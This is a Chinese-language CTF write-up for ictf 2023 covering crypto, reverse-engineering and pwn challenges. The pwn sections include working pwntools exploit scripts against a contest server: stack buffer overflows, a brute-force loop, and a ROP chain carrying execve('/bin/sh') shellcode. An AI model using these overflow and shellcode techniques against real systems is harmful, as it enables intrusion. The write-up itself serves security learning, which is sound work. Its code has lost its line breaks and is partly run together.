一周4赛,有点赶不过来呀。

只做了一点,队长组队的时候

(每次都中间断掉,一大堆写的都得从头来)

Crypto

Ancient

这样的第2次见,第1次就不会,这回看了队友wp终于知道是怎么加密的了

Templed

每个符号可以表示4位10进制数。

原题

这个手工搓出来

bytes([105,99,116,102,123,48,108,100,95,109,48,110,107,95,49,57,48,100,101,49,99,51,125])
#b'ictf{0ld_m0nk_190de1c3}'

原来不会的那个题是这样

这个4位连一起组成个大数字(每个符号4位前补0)再long_to_bytes

c2

这个就简单了,就是个替换

#flag = "" #redacted
#flag = flag[:15]def func(f, i):if i<5:out = ord(f) ^ 0x76 ^ 0xADvar1 = (out & 0xAA) >> 1var2 = 2 * out & 0xAAreturn var1 | var2 elif i>=5 and i<10:out = ord(f) ^ 0x76 ^ 0xBEvar1 = (out & 0xCC) >> 2var2 = 4 * out & 0xCCreturn var1 | var2else:out = ord(f) ^ 0x76 ^ 0xEFvar1 = (out & 0xF0) >> 4var2 = 16 * out & 0xF0return var1 | var2res = ''
for i in range(15):res += chr(func(flag[i], i))
f = open('result','w')
f.write(res)
f.close()

只是这出来的比128大,存的时候存成utf8需要处理一下

flag = ''
res = open('result','rb').read()
i=0
rr = []
while i<len(res):if res[i]>=0xc0:rr.append( ((res[i]&0x1f)<<6)|(res[i+1]&0x3f) )i+=2else:rr.append(res[i])i+=1print(hex(rr[-1]))
#print(len(res))
res = [0xd3, 0xd3, 0x7e, 0xd4, 0xd7, 0xa3, 0xf6, 0xae, 0xa3, 0xf6, 0x8f, 0xbf, 0xda, 0xda, 0xaa]
for i in range(15):for v in range(0x20, 0x100):if func(chr(v), i) == rr[i]:print(i,v)flag+=chr(v)#breakprint(flag)
#88f30d1cd1ab443
#ictf{88f30d1cd1ab443}

PWN

babyFlow

溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{char s[80]; // [esp+0h] [ebp-58h] BYREFint *p_argc; // [esp+50h] [ebp-8h]p_argc = &argc;puts("can you pass me?");gets(s);vulnerable_function(s);return 0;
}
char *__cdecl vulnerable_function(char *src)
{char dest[16]; // [esp+4h] [ebp-14h] BYREFreturn strcpy(dest, src);
}

这个需要到子函数里去溢出

from pwn import *p = remote('143.198.219.171', 5000)
context(arch='i386', log_level='debug')pay = b'A'*(0x14+4)+p32(0x80491fc)*2 #在vulnerable_function溢出
p.sendlineafter(b"can you pass me?\n", pay)p.interactive()#cat flag;
#ictf{bf930bcd-6c10-4c05-bdd8-435db4b50cdb}

Gainme

题目里有4个比较函数,手工得到结果,输入即可

from pwn import *
from Crypto.Util.number import long_to_bytes p = remote('143.198.219.171', 5003)
context(arch='i386', log_level='debug')v1 = b'ICTF4'
v2 = b'dasDASQWgjtrkodsc'
v3 = p32(0xDEADBEEF)
v4 = b'1'p.sendlineafter(b':',v1)
p.sendlineafter(b':',v2)
p.sendlineafter(b':',v3)
p.sendlineafter(b':',v4)p.recv()p.interactive()
#ictf{g@inm3-sf23f-4fd2150cd33db}

passme

这个不会,问的群里Sh33p 给出两个WP

程序很简单,看上去是个比较成功即可

int __cdecl main(int argc, const char **argv, const char **envp)
{char s[64]; // [esp+0h] [ebp-4Ch] BYREFfloat v5; // [esp+40h] [ebp-Ch]int *p_argc; // [esp+44h] [ebp-8h]p_argc = &argc;v5 = 0.0;puts("Enter your name: ");gets(s);if ( 17.022023 == v5 )print_flag();elseputs("._.");return 0;
}

其实不是,因为v5是float类型,17.022023是double类型,比较时到转成double,所以结果只能转成17.022022或17.022024

溢出的话有个问题

.text:080492FB 83 C4 10                      add     esp, 10h
.text:080492FB
.text:080492FE
.text:080492FE                               loc_80492FE:                            ; CODE XREF: main+61↑j
.text:080492FE B8 00 00 00 00                mov     eax, 0
.text:08049303 8D 65 F8                      lea     esp, [ebp-8]
.text:08049306 59                            pop     ecx
.text:08049307 5B                            pop     ebx
.text:08049308 5D                            pop     ebp
.text:08049309 8D 61 FC                      lea     esp, [ecx-4]
.text:0804930C C3                            retn
.text:0804930C                               ; } // starts at 8049287

这里会执行ecx-4,看了WP明白了,这里虽然无法指定ecx但gets最后会加个\0,用这个\0覆盖ecx的尾字节,使指针上移。这伸直由于s的位置很长,放满print_flag大概率命中。

另一种在里边放满ret+jmp_esp+shellcode,只要上移后的位置命中ret的位置就可以滑到shellcode。

from pwn import *
elf = context.binary = ELF('passme',checksec=False)context.log_level = "CRITICAL"payload = p32(elf.sym.print_flag)*17while True:#p = elf.process()p = remote('143.198.219.171', 5001)p.sendline(payload)is_flag = p.recv()if b'ictf{' in is_flag:print(is_flag)else:pass
from pwn import *ret = 0x0804900e # ret
jmp_esp = 0x080490fb # push esp ; mov ebx, dword ptr [esp] ; retwhile True:# s = process('./passme')s = remote('143.198.219.171', 5001)chain = flat(jmp_esp,b'\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' # shellcode)rem = (68 - len(chain)) // 4stage1 = p32(ret) * remstage1 += chains.sendline(stage1)try:s.recv(timeout=0.5)s.recv(timeout=0.5)except:s.close()continues.interactive()break

Rev

Meow

原码能看到,只是字符中间加\x00

ictf{easiest_challenge_of_them_all}

rev_this

异或爆破

from pwn import p64,xora = [0x6071B14091B0C06,0x70806031C1C061C,0xA0B1D0E0716031B,0x41C0E1B190A1D1D]
a = b''.join([p64(v) for v in a])for i in range(0x100):print(xor(bytes([i]), a))#ictf{thisisslightlyharderrevtask}

AnotherRev

一个很长的运算,用z3解决

from z3 import *#v = [BitVec(f'v_{i}', 8) for i in range(43)]
v = [Int(f'v_{i}') for i in range(43)]s = Solver()for i in range(43):s.add(v[i]>0x20)s.add(v[i]<0x7f)
s.add( v[0-0x40+0x59] + v[0-0x40+0x68] == 109)
s.add( v[0-0x40+0x59]+ v[0-0x40+0x5F]+ v[0-0x40+0x58]+ v[0-0x40+0x50]+ v[0-0x40+0x5F]+ v[0-0x40+0x65]+ v[0-0x40+0x62]+ v[0-0x40+0x49]+ v[0-0x40+0x65]+ v[0-0x40+0x68] == 706 )
s.add ( v[0-0x40+0x65]+ v[0-0x40+0x55]+ v[0-0x40+0x58]+ v[0-0x40+0x55]+ v[0-0x40+0x51]+ v[0-0x40+0x60]+ v[0-0x40+0x45]+ v[0-0x40+0x48]+ v[0-0x40+0x4B]+ v[0-0x40+0x45]+ v[0-0x40+0x53] == 764 )
s.add ( v[0-0x40+0x54]+ v[0]+ v[0-0x40+0x43]+ v[0-0x40+0x69]+ v[0-0x40+0x68]+ v[0-0x40+0x41]+ v[0-0x40+0x58]+ v[0-0x40+0x68]+ v[0-0x40+0x42]+ v[0-0x40+0x5A]+ v[0-0x40+0x4D]+ v[0-0x40+0x5F]+ v[0-0x40+0x55]+ v[0-0x40+0x55]+ v[0-0x40+0x41]+ v[0-0x40+0x56] == 1395 )
s.add ( v[0-0x40+0x58]+ v[0-0x40+0x47]+ v[0-0x40+0x4D]+ v[0-0x40+0x5F]+ v[0-0x40+0x61]+ v[0-0x40+0x4E]+ v[0-0x40+0x5E]+ v[0-0x40+0x59]+ v[0-0x40+0x4A]+ v[0-0x40+0x62]+ v[0-0x40+0x57] == 753 )
s.add ( v[0-0x40+0x41] + v[0-0x40+0x51] + v[0-0x40+0x47] + v[0-0x40+0x45] == 261 )
s.add ( v[0-0x40+0x48]+ v[0-0x40+0x58]+ v[0-0x40+0x5F]+ v[0-0x40+0x59]+ v[0-0x40+0x4A]+ v[0-0x40+0x66]+ v[0-0x40+0x5D]+ v[0-0x40+0x5D]+ v[0-0x40+0x4C]+ v[0-0x40+0x55] == 666 )
s.add ( v[0-0x40+0x4E] + v[0-0x40+0x66] + v[0-0x40+0x55] == 300 )
s.add ( v[0-0x40+0x55]+ v[0-0x40+0x60]+ v[0-0x40+0x68]+ v[0-0x40+0x63]+ v[0-0x40+0x5F]+ v[0-0x40+0x57]+ v[0-0x40+0x5C]+ v[0-0x40+0x47]+ v[0-0x40+0x41]+ v[0-0x40+0x48]+ v[0-0x40+0x4D]+ v[0-0x40+0x60]+ v[0-0x40+0x5D]+ v[0-0x40+0x59]+ v[0-0x40+0x44] == 933 )
s.add ( v[0-0x40+0x64]+ v[0-0x40+0x4C]+ v[0-0x40+0x61]+ v[0-0x40+0x68]+ v[0-0x40+0x54]+ v[0-0x40+0x56]+ v[0-0x40+0x45]+ v[0-0x40+0x5A]+ v[0-0x40+0x60]+ v[0-0x40+0x5F]+ v[0-0x40+0x62]+ v[0-0x40+0x42]+ v[0-0x40+0x48]+ v[0-0x40+0x67]+ v[0-0x40+0x52]+ v[0-0x40+0x55] == 1168 )
s.add ( v[0-0x40+0x56]+ v[0-0x40+0x57]+ v[0-0x40+0x5C]+ v[0-0x40+0x42]+ v[0-0x40+0x58]+ v[0-0x40+0x69]+ v[0-0x40+0x69]+ v[0-0x40+0x62]+ v[0-0x40+0x69]+ v[0-0x40+0x5B]+ v[0-0x40+0x54]+ v[0-0x40+0x5C]+ v[0-0x40+0x53]+ v[0-0x40+0x55]+ v[0-0x40+0x49]+ v[0-0x40+0x50]+ v[0-0x40+0x5E] == 1375 )
s.add ( v[0-0x40+0x63] + v[0-0x40+0x52] + v[0-0x40+0x59] + v[0-0x40+0x5D] + v[0-0x40+0x66] + v[0-0x40+0x53] + v[0-0x40+0x5E] == 409 )
s.add ( v[0-0x40+0x66]+ v[0-0x40+0x42]+ v[0-0x40+0x60]+ v[0-0x40+0x50]+ v[0-0x40+0x59]+ v[0-0x40+0x4B]+ v[0-0x40+0x50]+ v[0-0x40+0x5C]+ v[0]+ v[0-0x40+0x5B]+ v[0-0x40+0x5C] == 765 )
s.add ( v[0-0x40+0x54]+ v[0-0x40+0x58]+ v[0-0x40+0x52]+ v[0-0x40+0x58]+ v[0-0x40+0x59]+ v[0-0x40+0x5C]+ v[0-0x40+0x66]+ v[0-0x40+0x44]+ v[0-0x40+0x4D]+ v[0-0x40+0x66]+ v[0-0x40+0x5B]+ v[0-0x40+0x57] == 902 )
s.add ( v[0-0x40+0x44] + v[0-0x40+0x68] == 178 )
s.add ( v[0-0x40+0x5B]+ v[0-0x40+0x5D]+ v[0-0x40+0x59]+ v[0-0x40+0x65]+ v[0-0x40+0x57]+ v[0-0x40+0x5F]+ v[0-0x40+0x4E]+ v[0-0x40+0x4E]+ v[0-0x40+0x4E]+ v[0-0x40+0x5F]+ v[0-0x40+0x5A]+ v[0-0x40+0x4A]+ v[0-0x40+0x4C]+ v[0-0x40+0x50]+ v[0-0x40+0x61]+ v[0-0x40+0x43]+ v[0-0x40+0x5F]+ v[0-0x40+0x5B]+ v[0-0x40+0x41]+ v[0-0x40+0x5F] == 1513 )
s.add ( v[0-0x40+0x46] + v[0-0x40+0x4A] + v[0-0x40+0x68] == 165 )
s.add ( v[0-0x40+0x51]+ v[0-0x40+0x41]+ v[0-0x40+0x68]+ v[0-0x40+0x62]+ v[0-0x40+0x48]+ v[0-0x40+0x4B]+ v[0-0x40+0x65]+ v[0-0x40+0x50]+ v[0-0x40+0x4D]+ v[0-0x40+0x4A] == 653 )
s.add ( v[0-0x40+0x67]+ v[0-0x40+0x5E] + v[0-0x40+0x44] + v[0-0x40+0x56] + v[0-0x40+0x47] + v[0-0x40+0x5D] + v[0-0x40+0x57] + v[0-0x40+0x58] + v[0-0x40+0x64] + v[0-0x40+0x5D] + v[0-0x40+0x60] + v[0-0x40+0x5C] + v[0-0x40+0x49] + v[0-0x40+0x44] + v[0-0x40+0x68] + v[0-0x40+0x4C] + v[0-0x40+0x68] + v[0-0x40+0x53] + v[0-0x40+0x63] == 1266 )
s.add ( v[0-0x40+0x5C] + v[0-0x40+0x66] + v[0-0x40+0x55] + v[0-0x40+0x66] + v[0-0x40+0x5A] + v[0-0x40+0x58] + v[0-0x40+0x42] + v[0-0x40+0x60] == 711 )
s.add ( v[0-0x40+0x67]+ v[0-0x40+0x41]+ v[0-0x40+0x4B]+ v[0-0x40+0x49]+ v[0-0x40+0x44]+ v[0-0x40+0x4F]+ v[0-0x40+0x41]+ v[0-0x40+0x49]+ v[0-0x40+0x63]+ v[0-0x40+0x55]+ v[0-0x40+0x53]+ v[0-0x40+0x59]+ v[0-0x40+0x57]+ v[0-0x40+0x68]+ v[0]+ v[0-0x40+0x53]+ v[0-0x40+0x67] == 1294 )
s.add ( v[0-0x40+0x44]+ v[0-0x40+0x5A]+ v[0-0x40+0x41]+ v[0-0x40+0x49]+ v[0-0x40+0x54]+ v[0-0x40+0x54]+ v[0-0x40+0x52]+ v[0-0x40+0x65]+ v[0-0x40+0x59]+ v[0-0x40+0x4F]+ v[0-0x40+0x65]+ v[0-0x40+0x48]+ v[0-0x40+0x4F]+ v[0-0x40+0x42]+ v[0-0x40+0x5C]+ v[0-0x40+0x4A]+ v[0-0x40+0x63]+ v[0-0x40+0x68]+ v[0-0x40+0x69] == 1485 )
s.add ( v[0-0x40+0x5E] + v[0-0x40+0x50] == 100 )
s.add ( v[0-0x40+0x56]+ v[0-0x40+0x4D]+ v[0-0x40+0x45]+ v[0-0x40+0x69]+ v[0-0x40+0x63]+ v[0-0x40+0x50]+ v[0-0x40+0x57]+ v[0-0x40+0x47]+ v[0]+ v[0-0x40+0x4F]+ v[0-0x40+0x46]+ v[0-0x40+0x45]+ v[0-0x40+0x4F] == 945 )
s.add ( v[0-0x40+0x4C]+ v[0]+ v[0-0x40+0x67]+ v[0-0x40+0x56]+ v[0-0x40+0x52]+ v[0-0x40+0x60]+ v[0-0x40+0x43]+ v[0]+ v[0-0x40+0x41]+ v[0-0x40+0x64]+ v[0-0x40+0x58]+ v[0-0x40+0x59]+ v[0-0x40+0x56]+ v[0-0x40+0x61]+ v[0-0x40+0x48]+ v[0-0x40+0x44] == 1327 )
s.add ( v[0-0x40+0x5E]+ v[0-0x40+0x67]+ v[0-0x40+0x57]+ v[0-0x40+0x4C]+ v[0-0x40+0x69]+ v[0-0x40+0x5B]+ v[0-0x40+0x56]+ v[0-0x40+0x4C]+ v[0-0x40+0x47]+ v[0-0x40+0x42]+ v[0-0x40+0x46]+ v[0-0x40+0x4D]+ v[0-0x40+0x42]+ v[0-0x40+0x4E]+ v[0-0x40+0x48]+ v[0-0x40+0x57]+ 2 * v[0-0x40+0x59]+ v[0-0x40+0x68] == 1370 )
s.add ( v[0-0x40+0x55] + v[0-0x40+0x5D] + v[0-0x40+0x42] + v[0-0x40+0x54] + v[0-0x40+0x5E] + v[0-0x40+0x68] == 426 )
s.add ( v[0-0x40+0x4A]+ v[0-0x40+0x63]+ v[0-0x40+0x52]+ v[0-0x40+0x4F]+ v[0-0x40+0x47]+ v[0-0x40+0x5B]+ v[0-0x40+0x53]+ v[0-0x40+0x4C]+ v[0-0x40+0x4B]+ v[0-0x40+0x49]+ v[0-0x40+0x55]+ v[0-0x40+0x68]+ v[0-0x40+0x43]+ v[0-0x40+0x66]+ v[0-0x40+0x43]+ v[0-0x40+0x55]+ v[0-0x40+0x50]+ v[0-0x40+0x5A] == 1329 )
s.add ( v[0-0x40+0x46]+ v[0-0x40+0x67]+ v[0]+ v[0-0x40+0x41]+ v[0-0x40+0x53]+ v[0-0x40+0x62]+ v[0-0x40+0x56]+ v[0-0x40+0x4D]+ v[0-0x40+0x4E]+ v[0-0x40+0x69]+ v[0-0x40+0x65]+ v[0-0x40+0x44]+ v[0-0x40+0x65] == 1199 )
s.add ( v[0-0x40+0x53]+ v[0-0x40+0x4C]+ v[0-0x40+0x4A]+ v[0-0x40+0x5A]+ v[0-0x40+0x4B]+ v[0-0x40+0x5B]+ v[0-0x40+0x5C]+ v[0-0x40+0x46]+ v[0-0x40+0x62]+ v[0-0x40+0x4E]+ v[0-0x40+0x44]+ v[0-0x40+0x46]+ v[0-0x40+0x4C]+ v[0]+ v[0-0x40+0x5B]+ v[0-0x40+0x57]+ v[0-0x40+0x46]+ v[0-0x40+0x69]+ v[0-0x40+0x43] == 1470 )
s.add ( v[0-0x40+0x43] + v[0-0x40+0x50] + v[0-0x40+0x4A] == 206 )
s.add ( v[0-0x40+0x5D] + v[0-0x40+0x61] + v[0-0x40+0x68] + v[0-0x40+0x60] + v[0-0x40+0x5B] + v[0-0x40+0x4C] + v[0-0x40+0x47] == 470 )
s.add ( v[0-0x40+0x63]+ v[0-0x40+0x50]+ v[0-0x40+0x56]+ v[0-0x40+0x60]+ v[0-0x40+0x60]+ v[0-0x40+0x51]+ v[0-0x40+0x5D]+ v[0-0x40+0x45]+ v[0-0x40+0x42]+ v[0-0x40+0x4A]+ v[0-0x40+0x53]+ v[0-0x40+0x44]+ v[0-0x40+0x56]+ v[0-0x40+0x56]+ v[0-0x40+0x54]+ v[0-0x40+0x50]+ v[0-0x40+0x62]+ v[0-0x40+0x4C]+ v[0-0x40+0x53] == 1302 )
s.add ( v[0-0x40+0x69]+ v[0-0x40+0x45]+ v[0-0x40+0x4E]+ v[0-0x40+0x5F]+ v[0-0x40+0x65]+ v[0-0x40+0x49]+ v[0-0x40+0x67]+ v[0-0x40+0x5B]+ v[0-0x40+0x4A]+ v[0-0x40+0x62]+ v[0-0x40+0x62] == 936 )
s.add ( v[0-0x40+0x45] + v[0-0x40+0x49] + v[0-0x40+0x44] == 234 )
s.add ( v[0-0x40+0x41]+ v[0-0x40+0x62]+ v[0-0x40+0x65]+ v[0-0x40+0x67]+ v[0-0x40+0x42]+ v[0-0x40+0x52]+ v[0-0x40+0x60]+ v[0-0x40+0x68]+ v[0-0x40+0x5A]+ v[0-0x40+0x43]+ v[0-0x40+0x5F]+ v[0-0x40+0x61]+ v[0-0x40+0x61] == 1116 )
s.add ( v[0-0x40+0x49]+ v[0-0x40+0x4D]+ v[0-0x40+0x50]+ v[0-0x40+0x41]+ v[0-0x40+0x4F]+ v[0-0x40+0x5D]+ v[0-0x40+0x44]+ v[0-0x40+0x56]+ v[0-0x40+0x43]+ v[0-0x40+0x4B] == 777 )
s.add ( v[0-0x40+0x5C] + v[0-0x40+0x67] + v[0-0x40+0x60] + v[0-0x40+0x62] + v[0-0x40+0x47] + v[0-0x40+0x52] == 394 )
s.add ( v[0-0x40+0x5E]+ v[0-0x40+0x4D]+ v[0-0x40+0x48]+ v[0-0x40+0x58]+ v[0-0x40+0x53]+ v[0-0x40+0x5F]+ v[0-0x40+0x50]+ v[0-0x40+0x46]+ v[0-0x40+0x4D]+ v[0-0x40+0x5E]+ v[0-0x40+0x5D]+ v[0] == 705 )
s.add ( v[0-0x40+0x41] + v[0-0x40+0x4E] == 200 )
s.add ( v[0-0x40+0x4C]+ v[0-0x40+0x52]+ v[0-0x40+0x45]+ v[0-0x40+0x51]+ v[0-0x40+0x5D]+ v[0-0x40+0x65]+ v[0-0x40+0x4D]+ v[0-0x40+0x61]+ v[0-0x40+0x65]+ v[0-0x40+0x58]+ v[0-0x40+0x63]+ v[0-0x40+0x5C]+ v[0-0x40+0x62]+ v[0-0x40+0x66]+ v[0-0x40+0x61]+ v[0] == 1198 )
s.add ( v[0-0x40+0x4E] + v[0-0x40+0x64] + v[0-0x40+0x4C] + v[0-0x40+0x4D] + v[0-0x40+0x54] == 295 )if s.check() == sat:d = s.model()f = ''for i in range(43):f+= chr(d[v[i]].as_long())print(f)#ictf{86947833-ef01-42cb-a6fe-6414da40edb7}!

[Incognito 4.0] ictf 2023相关推荐

  1. 混沌加密学习0.1——2023.4.27

    混沌加密是什么?         混沌加密是一种基于混沌理论的加密算法,其基本思想是利用混沌系统的随机性和复杂性来保护数据的安全性.在混沌加密中,加密密钥是由混沌系统生成的,用户加密和解密数据. 1. ...

  2. incognito 下料_Project Incognito为DeFi交易提供强大的隐私

    incognito 下料 There have been some innovative solutions lately to address the so-called trilemma of C ...

  3. Corel 会声会影 2023 胡桃的特别版 v26.0.0.0功能介绍

    Corel VideoStudio (会声会影)2023是由加拿大Corel公司全新推出的一款专业视频编辑软件,具有诸多强大的功能,包括拖放式标题.转场.覆叠和滤镜,色彩分级.动态分屏视频和遮罩创建器 ...

  4. Corel 会声会影 2023 旗舰版雨糖科技v26.0.0.163特别版新功能介绍

    Corel 会声会影 2023 旗舰版雨糖科技v26.0.0.163特别版是一款使用起来十分件便捷的影视后期视频编辑处理软件,会声会影正式版操作简单,还具备了独特创意.灵活有趣等特点,并且软件还具备了 ...

  5. RocketMQ5.0.0事务消息

    目录 一.事务消息概览 二.事务消息实现机制 1. 事务消息发送流程 1):发送事务消息类图 2):生产端发送事务消息 3):Broker存储事务消息 2. 生产者提交或回滚事务消息 1):生产者发送 ...

  6. 2023年4月国产数据库大事记-墨天轮

    本文为墨天轮社区整理的2023年4月国产数据库大事件和重要产品发布消息. 目录 4月国产数据库大事记 TOP10 4月国产数据库大事记(时间线) 产品/版本发布 兼容认证 代表厂商大事记 厂商活动 相 ...

  7. 截图工具FastStone Capture 10.0官方简体中文版

    FastStone Capture 一个极简主义的应用程序 支持屏幕录制.滚动截图.高清长图.图片编辑.图片转PDF格式.屏幕取色 FastStone Capture是一款功能强大.轻巧但功能齐全的 ...

  8. 《UVM实战》学习笔记——第四章 UVM中的TLM1.0通信

    文章目录 前言 一.TLM1.0 1.TLM的定义 2.数据流:数据流动的方向 3.控制流:动作发起者initiator.动作接收者target 4.各种端口的连接 5.transport 6.non ...

  9. EdrawMax 12.0.7 Ultimate 多语言版

    EdrawMax多合一图表软件.获得市场上最强大.最专业的图表软件.现在比较一下,看看为什么 Lucidchart 是更好的图表解决方案.超过 10,000,000 多个用户.专用支持.Visio 导 ...

最新文章

  1. python绘制数学三维图
  2. 【2016北京集训测试赛】river
  3. nssl1446-小智的旅行【dp】
  4. Android Studio 3.0 下 Cordova 打包时 Gradle 兼容性问题解决
  5. android中接口的作用是什么意思,Android为什么要序列化
  6. 剑指Offer之把数组排成最小的数
  7. Linux 命令(108)—— ifconfig 命令
  8. mysql学习笔记 ----外键.myisam和innodb的区别
  9. Spring 初始化2次的问题
  10. 记测试工具iozone,iometer,bonnie++
  11. 计算机基础知识msoffice高级应用,2017计算机二级MS Office高级应用考试大纲
  12. java实用教程第五版_java2实用教程(第5版)重要点及遗漏点(一)
  13. 苹果10月23日或发布iPad mini
  14. 基于 Vue 2.0 的 UI 组件库 KUI for Vue
  15. Excel画图多个线条样式设置(在黑白下区分各个线条的作用)
  16. php guzzle批量请求
  17. Windows上帝模式——隐私浏览必备
  18. 不会linux也没关系,点击鼠标即可完成的LDSC分析来了
  19. Converting circular structure to JSON
  20. Python亲戚计算器

热门文章

  1. css 实现内凹圆角
  2. 【超详细】支持向量机(SVM)数学推导
  3. 能被2、3、4、5、6、7、8、9整除数的特征
  4. MPC5744P-SIUL2模块(GPIO和多路复用功能)
  5. python endswith函数_Python中endswith()函数的使用方法
  6. [ESP32/ESP8266专题笔记-2]ubuntu下 编写第一个 ESP32开发板-Micropython程序
  7. 给钛度产品的一些建议(Note)
  8. 20200203DLUT寒假训练赛div2-简单搜索专场
  9. CSDN设置头像不显示
  10. Day33.爬虫基础之PyQuery